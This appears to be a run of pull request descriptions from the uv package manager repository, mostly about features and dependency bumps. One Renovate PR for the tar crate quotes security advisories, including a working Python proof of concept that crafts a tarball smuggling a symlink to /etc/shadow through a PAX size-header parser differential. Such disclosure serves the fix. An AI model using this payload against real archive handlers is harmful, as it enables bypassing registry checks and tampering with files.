This updates async_http_range_reader to v0.11.0 to add the missing range
request bounds validation:
https://github.com/astral-sh/async_http_range_reader/pull/8.
An open question is how we want to behave when the server has an
incorrect range request implementation (while advertising range request
support). In the current implementation, it warns with the index URL, so
that the user is aware that the massive slowdown is caused by a server
advertising broken features.
Also removes a dependency where the corresponding repo was deleted.
Fixes https://github.com/astral-sh/uv/issues/18316
## Summary
This expands `uv workspace metadata` with many of the fields that are
found in `uv.lock` so that we have a format with information about the
dependency graph/resolution that we're willing to call stable and have
people rely upon (rather than `uv.lock` which we'd rather you don't try
to interpret).
To a first approximation you can think of this as "uv.lock but
serialized to json" but with the fields a bit more limited for now (easy
to add later).
The biggest intentional divergence with uv.lock is that we favour
encoding the dependency graph in a form that looks more like our
internal "resolve" graph, in that hopes that it will simplify the work
of anyone doing analysis on the graph (we structure our internal graph
like this for a reason).
Specifically, the `resolve` field contains the entire dependency graph,
with packages desugarred into several different nodes. There are 4 kinds
of nodes (really 3, the build nodes will only be introduced when we
establish build-dependency locking):
* packages: `mypackage==1.0.0 @ registry+https://pypi.org/simple`
* extras: `mypackage[myextra]==1.0.0 @ registry+https://pypi.org/simple`
* groups: `mypackage:mygroup==1.0.0 @ registry+https://pypi.org/simple`
* build: `mypackage(build)==1.0.0 @ registry+https://pypi.org/simple`
package nodes hold additional metadata about the package itself, and ids
of the associated extra/group/build nodes.
---
A package like this:
```toml
[project]
name = "mypackage"
version = "1.0.0"
dependencies = ["httpx"]
[project.optional-dependencies]
cli = ["rich"]
[dependency-groups]
dev = ["typing-extensions"]
[build-system]
requires = ["hatchling"]
build-backend = "hatchling.build"
```
will get 4 nodes with the following edges (Version and Source omitted
here for brevity):
* `mypackage`
* `httpx`
* `mypackage(build)`
* `hatchling`
* `mypackage[cli]`
* `mypackage`
* `rich`
* `mypackage:dev`
* `typing-extensions`
Note that `mypackage[cli]` has a dependency edge on `mypackage` while
`mypackage:dev` does not. This is because
`mypackage[cli]` is fundamentally an augmentation of `mypackage` while
`mypackage:dev` is just a list of packages that happens to be defined by
`mypackage`'s pyproject.toml.
The resulting nodes for `mypackage` will look something like:
<details>
<summary>json blob</summary>
```json
{
"resolve": {
"mypackage==1.0.0 @ editable+.": {
"name": "mypackage",
"version": "1.0.0",
"source": {
"editable": "."
},
"kind": "package",
"dependencies": [
{
"id": "httpx==3.6 @ registry+https://pypi.org/simple"
"marker": "sys_platform == 'linux'"
},
],
"optional_dependencies": [
{
"name": "cli",
"id": "mypackage[cli]==1.0.0 @ editable+."
},
],
"dependency_groups": [
{
"name": "dev",
"id": "mypackage:dev==1.0.0 @ editable+."
}
]
"build_system": {
"build_backend": "hatchling.build",
"id": "mypackage(build)==1.0.0 @ editable+."
}
"sdist": { ... },
"wheels": [ ... ]
},
"mypackage:dev==1.0.0 @ editable+.": {
"name": "mypackage",
"version": "1.0.0",
"source": {
"editable": "."
},
"kind": {
"group": "dev"
},
"dependencies": [
{
"id": "typing-extensions==1.2.3 @ registry+https://pypi.org/simple"
},
]
},
}
"mypackage[cli]==1.0.0 @ editable+.": {
"name": "mypackage",
"version": "1.0.0",
"source": {
"editable": "."
},
"kind": {
"extra": "cli"
},
"dependencies": [
{
"id": "rich==2.2.3 @ registry+https://pypi.org/simple"
},
{
"id": "mypackage==1.0.0 @ editable+."
},
]
},
"mypackage(build)==1.0.0 @ editable+.": {
"name": "mypackage",
"version": "1.0.0",
"source": {
"editable": "."
},
"kind": "build",
"dependencies": [
{
"id": "hatchling==3.2.3 @ registry+https://pypi.org/simple"
},
]
}
}
}
```
</details>
## Test Plan
Snapshots
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [reqsign](https://redirect.github.com/apache/opendal-reqsign) |
workspace.dependencies | minor | `0.19.0` → `0.20.0` |
---
### Release Notes
<details>
<summary>apache/opendal-reqsign (reqsign)</summary>
###
[`v0.20.0`](https://redirect.github.com/apache/opendal-reqsign/releases/tag/v0.20.0)
[Compare
Source](https://redirect.github.com/apache/opendal-reqsign/compare/v0.19.0...v0.20.0)
Apache OpenDAL Reqsign 0.20.0 is now available.
Notable changes:
1. Migrate core async traits to MaybeSend futures and remove
async\_trait.
2. Migrate default credential provider APIs across services.
3. Add Volcengine TOS support.
4. Add Google external account credential providers.
5. Expand Aliyun OSS credential providers and signing support.
Full changes:
</details>
---
### Configuration
📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi45NS4yIiwidXBkYXRlZEluVmVyIjoiNDMuNjYuNCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYnVpbGQ6c2tpcC1kb2NrZXIiLCJidWlsZDpza2lwLXJlbGVhc2UiLCJpbnRlcm5hbCJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
The following user-facing changes are included here:
- `aws-lc` is used instead of `ring` for a cryptography backend
- Expands our certificate signature algorithm support to include
ECDSA_P256_SHA512, ECDSA_P384_SHA512, ECDSA_P521_SHA256,
ECDSA_P521_SHA384, and ECDSA_P521_SHA512
- `--native-tls` is deprecated in favor of a new `--system-certs` flag,
avoiding confusion with the TLS implementation used (we use `rustls` not
`native-tls`, see prior confusion at
https://github.com/astral-sh/uv/issues/11595)
- NASM is a new build requirement on Windows, it is required by `aws-lc`
on x86-64 and i386
- `rustls-platform-verifier` is used instead of `rustls-native-certs`
for system certificate verification
- On macOS, certificate validation is now delegated to
`Security.framework` (`SecTrust`). Performance when using
`--system-certs` is improved by avoiding exporting and parsing all the
certificates from the keychain at startup.
- On Windows, certificate validation is now delegated to
`CertGetCertificateChain` and `CertVerifyCertificateChainPolicy`
- On Linux, certificate validation should be approximately unchanged
- Some previously failing chains may succeed, and some previously
accepted chains may fail; generally, this should result in behavior
closer matching browsers and other native applications
- macOS and Windows may now perform live OCSP fetches for early
revocation, which could add latency to some requests
- Empty `SSL_CERT_FILE` values are ignored (for consistency with
`SSL_CERT_DIR`)
The following internal changes are included here:
- Certificate loading has been refactored to use a newtype with helper
methods
- The certificate tests have been rewritten
- We use `webpki-root-certs` instead of `webpki-roots`, see
https://github.com/astral-sh/uv/pull/17543#discussion_r2820187691
- We request `identity` encoding for range requests, see
https://github.com/astral-sh/async_http_range_reader/pull/3#discussion_r2700194798
- Various dependencies (including forks) updates to versions which use
reqwest 0.13+
This is a replacement of #17543 with an updated description. See that
pull request for prior discussion. I've made the following changes from
the initial approach there:
- Previously, the `native-tls` TLS implementation was added which
included an OpenSSL build. We don't currently use the `native-tls`
implementation, but the `--native-tls` flag there was erroneously
updated to enable it.
- Previously, there was a `--tls-backend` flag to toggle between
`native-tls` and `rustls`. Since we currently always use `rustls`, this
is deferred to future work (if we need it at all).
- Previously, there were unintentional breaking changes to
`SSL_CERT_FILE` and `SSL_CERT_DIR` handling, including merging with the
base certificates instead of replacing them, dropping support for
OpenSSL hash-named certificate files, skipping deduplication of
certificates. Here, we retain use of `rustls-native-certs` for loading
certificates from the system as it handles these edge cases.
Closes https://github.com/astral-sh/uv/issues/17427
---------
Co-authored-by: salmonsd <22984014+salmonsd@users.noreply.github.com>
## Summary
I noticed a gap in testing while working in this area so I added some
unit tests for `expand_env_vars`.
## Test Plan
N/A (tests don't need tests)
## Summary
This serves two purposes:
1. It sets up the scaffolding/structure for future vulnerability service
backends, e.g. PyPI/PYSEC instead of OSV.
2. It unblocks a form of integration testing I want to do here, which is
with a mocked OSV API (using wiremock).
NB: I'm low confidence on the naming of these options, feedback greatly
desired 🙂
See #18506.
## Test Plan
But doctor, I _am_ the test plan.
---------
Signed-off-by: William Woodruff <william@astral.sh>
Co-authored-by: konsti <konstin@mailbox.org>
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [tar](https://redirect.github.com/alexcrichton/tar-rs) |
workspace.dependencies | patch | `0.4.44` → `0.4.45` |
### GitHub Vulnerability Alerts
####
[CVE-2026-33056](https://redirect.github.com/alexcrichton/tar-rs/security/advisories/GHSA-j4xf-2g29-59ph)
## Summary
When unpacking a tar archive, the `tar` crate's `unpack_dir` function
uses `fs::metadata()` to check whether a path that already exists is a
directory. Because `fs::metadata()` follows symbolic links, a crafted
tarball containing a symlink entry followed by a directory entry with
the same name causes the crate to treat the symlink target as a valid
existing directory — and subsequently apply `chmod` to it. This allows
an attacker to modify the permissions of arbitrary directories outside
the extraction root.
## Reproducer
A malicious tarball contains two entries: (1) a symlink `foo` pointing
to an arbitrary external directory, and (2) a directory entry `foo/.`
(or just `foo`). When unpacked, `create_dir("foo")` fails with `EEXIST`
because the symlink is already on disk. The `fs::metadata()` check then
follows the symlink, sees a directory at the target, and allows
processing to continue. The directory entry's mode bits are then applied
via `chmod`, which also follows the symlink — modifying the permissions
of the external target directory.
## Fix
The fix is very simple, we now use `fs::symlink_metadata()` in
`unpack_dir`, so symlinks are detected and rejected rather than
followed.
## Credit
This issue was reported by @​xokdvium - thank you!
####
[CVE-2026-33055](https://redirect.github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff)
### Summary
As part of
[CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the
astral-tokio-tar project was changed to correctly honor PAX size headers
in the case where it was different from the base header.
However, it was missed at the time that this project (the original Rust
`tar` crate) had a conditional logic that skipped the PAX size header in
the case that the base header size was nonzero - almost the inverse of
the astral-tokio-tar issue.
The problem here is that *any* discrepancy in how tar parsers honor file
size can be used to create archives that appear differently when
unpacked by different archivers.
In this case, the tar-rs (Rust `tar`) crate is an outlier in checking
for the header size - other tar parsers (including e.g. Go
`archive/tar`) unconditionally use the PAX size override.
### Details
https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344
### PoC
(originally posted by https://github.com/xokdvium)
> I was worried that cargo might be vulnerable to malicious crates, but
it turns out that crates.io has been rejecting both symlinks and hard
links:
It seems like recent fixes to https://edera.dev/stories/tarmageddon have
introduced a differential that could be used to smuggle symlinks into
the registry that would get skipped over by `astral-tokio-tar` but not
by `tar-rs`.
https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344
```python
#!/usr/bin/env python3
B = 512
def pad(d):
r = len(d) % B
return d + b"\0" * (B - r) if r else d
def hdr(name, size, typ=b"0", link=b""):
h = bytearray(B)
h[0 : len(name)] = name
h[100:107] = b"0000644"
h[108:115] = h[116:123] = b"0001000"
h[124:135] = f"{size:011o}".encode()
h[136:147] = b"00000000000"
h[148:156] = b" "
h[156:157] = typ
if link:
h[157 : 157 + len(link)] = link
h[257:263] = b"ustar\x00"
h[263:265] = b"00"
h[148:155] = f"{sum(h):06o}\x00".encode()
return bytes(h)
INFLATED = 2048
pax_rec = b"13 size=2048\n"
ar = bytearray()
ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x")
ar += pad(pax_rec)
content = b"regular\n"
ar += hdr(b"regular.txt", len(content))
mark = len(ar)
ar += pad(content)
ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow")
ar += b"\0" * B * 2
used = len(ar) - mark
if used < INFLATED:
ar += b"\0" * (((INFLATED - used + B - 1) // B) * B)
ar += b"\0" * B * 2
open("smuggle.tar", "wb").write(bytes(ar))
```
`tar-rs` and `astral-tokio-tar` parse it differently, with
`astral-tokio-tar` skipping over the symlink (so presumably the check
from
https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102
wouldn't disallow it).
```rust
use std::fs;
use std::path::PathBuf;
fn sync_parse(data: &[u8]) {
println!("tar:");
let mut ar = tar::Archive::new(data);
for e in ar.entries().unwrap() {
let e = e.unwrap();
let path = e.path().unwrap().to_path_buf();
let kind = e.header().entry_type();
let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
match link {
Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()),
None => println!(" {:20} {:?}", path.display(), kind),
}
}
println!();
}
async fn async_parse(data: Vec<u8>) {
println!("astral-tokio-tar:");
let mut ar = tokio_tar::Archive::new(data.as_slice());
let mut entries = ar.entries().unwrap();
while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {
let e = e.unwrap();
let path = e.path().unwrap().to_path_buf();
let kind = e.header().entry_type();
let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
match link {
Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()),
None => println!(" {:20} {:?}", path.display(), kind),
}
}
println!();
}
#[tokio::main]
async fn main() {
let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into());
let data = fs::read(&path).unwrap();
sync_parse(&data);
async_parse(data).await;
}
```
```
tar:
regular.txt Regular
smuggled Symlink -> /etc/shadow
astral-tokio-tar:
regular.txt Regular
```
### Impact
This can affect anything that uses the `tar` crate to parse archives and
expects to have a consistent view with other parsers. In particular it
is known to affect crates.io which uses `astral-tokio-tar` to parse, but
cargo uses `tar`.
---
### Release Notes
<details>
<summary>alexcrichton/tar-rs (tar)</summary>
###
[`v0.4.45`](https://redirect.github.com/alexcrichton/tar-rs/compare/0.4.44...0.4.45)
[Compare
Source](https://redirect.github.com/alexcrichton/tar-rs/compare/0.4.44...0.4.45)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My42Ni40IiwidXBkYXRlZEluVmVyIjoiNDMuNjYuNCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiaW50ZXJuYWwiLCJzZWN1cml0eSJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [tempfile](https://stebalien.com/projects/tempfile-rs/)
([source](https://redirect.github.com/Stebalien/tempfile)) |
workspace.dependencies | minor | `3.25.0` → `3.27.0` |
---
### Release Notes
<details>
<summary>Stebalien/tempfile (tempfile)</summary>
###
[`v3.27.0`](https://redirect.github.com/Stebalien/tempfile/blob/HEAD/CHANGELOG.md#3270)
[Compare
Source](https://redirect.github.com/Stebalien/tempfile/compare/v3.26.0...v3.27.0)
This release adds `TempPath::try_from_path` and deprecates
`TempPath::from_path`.
Prior to this release, `TempPath::from_path` made no attempts to convert
relative paths into absolute paths. The following code would have
deleted the wrong file:
```rust
let tmp_path = TempPath::from_path("foo")
std::env::set_current_dir("/some/other/path").unwrap();
drop(tmp_path);
```
Now:
1. `TempPath::from_path` will attempt to convert relative paths into
absolute paths. However, this isn't always possible as we need to call
`std::env::current_dir`, which can fail. If we fail to convert the
relative path to an absolute path, we simply keep the relative path.
2. The `TempPath::try_from_path` behaves exactly like
`TempPath::from_path`, except that it returns an error if we fail to
convert a relative path into an absolute path (or if the passed path is
empty).
Neither function attempt to verify the existence of the file in
question.
Thanks to [@​meng-xu-cs](https://redirect.github.com/meng-xu-cs)
for reporting this issue.
###
[`v3.26.0`](https://redirect.github.com/Stebalien/tempfile/blob/HEAD/CHANGELOG.md#3260)
- Support `NamedTempFile::persist` on RedoxOS
([#​393](https://redirect.github.com/Stebalien/tempfile/issues/393))
(thanks to
[@​Andy-Python-Programmer](https://redirect.github.com/Andy-Python-Programmer)).
</details>
---
### Configuration
📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My42Ni40IiwidXBkYXRlZEluVmVyIjoiNDMuNjYuNCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYnVpbGQ6c2tpcC1kb2NrZXIiLCJidWlsZDpza2lwLXJlbGVhc2UiLCJpbnRlcm5hbCJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [jiff](https://redirect.github.com/BurntSushi/jiff) |
workspace.dependencies | patch | `0.2.22` → `0.2.23` |
---
### Release Notes
<details>
<summary>BurntSushi/jiff (jiff)</summary>
###
[`v0.2.23`](https://redirect.github.com/BurntSushi/jiff/blob/HEAD/CHANGELOG.md#0223-2026-03-03)
[Compare
Source](https://redirect.github.com/BurntSushi/jiff/compare/0.2.22...0.2.23)
\===================
This release updates Jiff's bundled copy of the \[IANA Time Zone
Database]
to `2026a`. See the [`2026a` release announcement] for more details.
[`2026a` release announcement]:
https://lists.iana.org/hyperkitty/list/tz-announce@iana.org/thread/ASPLBE3A4BAEXIOQ3KZ6EJSJWBU6L53G/
</details>
---
### Configuration
📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My42Ni40IiwidXBkYXRlZEluVmVyIjoiNDMuNjYuNCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYnVpbGQ6c2tpcC1kb2NrZXIiLCJidWlsZDpza2lwLXJlbGVhc2UiLCJpbnRlcm5hbCJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
These are not managed by Renovate.
I wrote a script to do this, which I may commit separately. I used an
LLM to review each changelog for relevant changes as well as each diff
for malicious content.
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [reflink-copy](https://redirect.github.com/cargo-bins/reflink-copy) |
workspace.dependencies | patch | `0.1.28` → `0.1.29` |
---
### Release Notes
<details>
<summary>cargo-bins/reflink-copy (reflink-copy)</summary>
###
[`v0.1.29`](https://redirect.github.com/cargo-bins/reflink-copy/blob/HEAD/CHANGELOG.md#0129---2026-03-04)
[Compare
Source](https://redirect.github.com/cargo-bins/reflink-copy/compare/v0.1.28...v0.1.29)
##### Fixed
- exclude sparc/sparc64 from linux reflink path
([#​164](https://redirect.github.com/cargo-bins/reflink-copy/pull/164))
##### Other
- Bump actions/checkout from 5 to 6
([#​148](https://redirect.github.com/cargo-bins/reflink-copy/pull/148))
</details>
---
### Configuration
📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My42Ni40IiwidXBkYXRlZEluVmVyIjoiNDMuNjYuNCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYnVpbGQ6c2tpcC1kb2NrZXIiLCJidWlsZDpza2lwLXJlbGVhc2UiLCJpbnRlcm5hbCJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
## Summary
Introduce a global preview state to reduce the amount of churn required
when adding a preview feature.
This PR also introduces a testing feature to `uv_preview` enabled for
dev builds (builds which are used for running tests among other things).
This exposes `uv_preview::test::with_features` which can be used from
other crates' unit tests to override the preview state for the duration
of a scope. `uv_preview::init` continues to exist and work in this mode
since running the integration test suite in workspace mode pulls in the
dev feature (whereas doing it in package mode, does not, IDFK).
When doing a debug or release build, the testing feature is not enabled.
The PR is based on and closes#17844.
As an example, I've converted the build backend to using global preview
as it was a place which did unit tests which needed to set the preview
state.
## Test Plan
Verification that things continue to work and that the testing feature
does not enable for debug or release builds but does enable for tests
was done manually and by running the test suite.
Additional tests were added.
---------
Co-authored-by: Claude <noreply@anthropic.com>
## Summary
This switches us to OSV's batch query API for vulnerability ID lookups,
which can then be used to concurrently fetch the actual full finding
responses.
In my local testing, this yields significant speedups: from 23s on main
(before this PR) with a small project (~70 deps) to 950ms with this PR.
~~WIP, I want to think through this approach a little more.~~
See #18119
## Test Plan
Added new unit tests.
---------
Signed-off-by: William Woodruff <william@astral.sh>
## Summary
This adds some initial output/report formatting for `uv audit`.
This is an initial blush, any feedback to align this with
rendering/formatting idioms elsewhere would be greatly appreciated!
Atop #18119.
## Test Plan
None yet.
---------
Signed-off-by: William Woodruff <william@astral.sh>
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [windows-version](https://redirect.github.com/microsoft/windows-rs) |
workspace.dependencies | patch | `0.1.6` → `0.1.7` |
---
### Configuration
📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My41OS4wIiwidXBkYXRlZEluVmVyIjoiNDMuNTkuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYnVpbGQ6c2tpcC1kb2NrZXIiLCJidWlsZDpza2lwLXJlbGVhc2UiLCJpbnRlcm5hbCJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
## Summary
In https://github.com/astral-sh/uv/pull/18324, sys-info-rs was dropped
in favor of a more native reimplementation to provide OsType and
OsRelease.
This PR adjusts two areas for windows to match closely previous
behavior:
1. OsType should be `Windows` rather than `Windows_NT`
https://github.com/astral-sh/uv/pull/18324#discussion_r2902257834 as
seen in
https://github.com/FillZpp/sys-info-rs/blob/60ecf1470a5b7c90242f429934a3bacb6023ec4d/c/windows.c#L12.
This also matches the output of `platform.system()` in CPython.
2. OsRelease previously used `GetVersionEx` in sys-info-rs. Looking
closely, this was used primarily in
`crates/uv-python/src/interpreter.rs` and not in linehaul as linehaul
uses `platform.release()`. The problem with `GetVersionEx` is that it
returns often the wrong version due to legacy reasons (e.g. may be stuck
returning `6.2.9200`). The current implementation only returns the build
number from the registry which is prone to problems across windows older
variants. The implementation should use `RtlGetVersion` system call
which returns the current major, minor, build in the same way as
reported by `sys.getwindowsversion()` in CPython. In order to strike
balance, this switches the implementation to use four octects
`{major}.{minor}.{build}.{revision}` as recent windows versioning relies
on major, build and revision where as older versions rely on major,
minor and service pack. A windows-version crate by the same author as
windows-rs was added as it includes the correct system calls for the
windows versions.
## Test Plan
Tested manually on both Windows desktop (10, 11) and Windows Server
(2016).